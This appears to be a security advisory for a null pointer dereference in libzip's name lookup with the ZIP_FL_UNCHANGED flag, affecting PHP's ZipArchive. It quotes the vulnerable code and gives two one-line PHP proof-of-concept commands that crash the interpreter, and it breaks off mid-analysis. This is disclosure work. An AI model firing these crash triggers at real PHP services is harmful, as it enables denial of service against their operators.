--- 0.Description ---
libzip is a C library for reading, creating, and modifying zip archives.
Files can be added from data buffers, files, or compressed data copied
directly from other zip archives. Changes made without closing the archive
can be reverted. The API is documented by man pages.


--- 1.Description ---
libzip allows remote and local attackers to Denial of Service (Null Pointer
Dereference) if ZIP_FL_UNCHANGED flag is set.

-lib/zip_name_locate.c---
int
_zip_name_locate(struct zip *za, const char *fname, int flags,
struct zip_error *error)
{
int (*cmp)(const char *, const char *);
const char *fn, *p;
int i, n;

if (fname == NULL) {
_zip_error_set(error, ZIP_ER_INVAL, 0);
return -1;
}

cmp = (flags & ZIP_FL_NOCASE) ? strcasecmp : strcmp;

n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; <=
CRASH HERE
-lib/zip_name_locate.c---

for empty zip file and ZIP_FL_UNCHANGED flag, libzip should crash.
Currently for PHP, the security impact we estimate only like a remote DoS,
so risk is low. 

Project using libzip: KDE Utilities (4.x branch), MySQL Workbench, ckmame,
fuse-zip, php zip extension, Endeavour2, FreeDink

Better analysis based on PHP code ZipArchive, bellow


--- 2. PHP 5.3.5 ZipArchive() ---
PoC1:
php -r '$nx=new
ZipArchive();$nx->open("/dev/null");$nx->locateName("a",ZIPARCHIVE::FL_UNCH
ANGED);'

PoC2:
php -r '$nx=new
ZipArchive();$nx->open("empty.zip");$nx->statName("a",ZIPARCHIVE::FL_UNCHAN
GED);'

Let's
-php_zip.c-------------------------------------
...
static ZIPARCHIVE_METHOD(locateName)
{

ZIP_FROM_OBJECT(intern, this);

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|l",

return;
}
...
idx = (long)zip_name_locate(intern, (const char *)name, flags); <=== CRASH

and let`s see
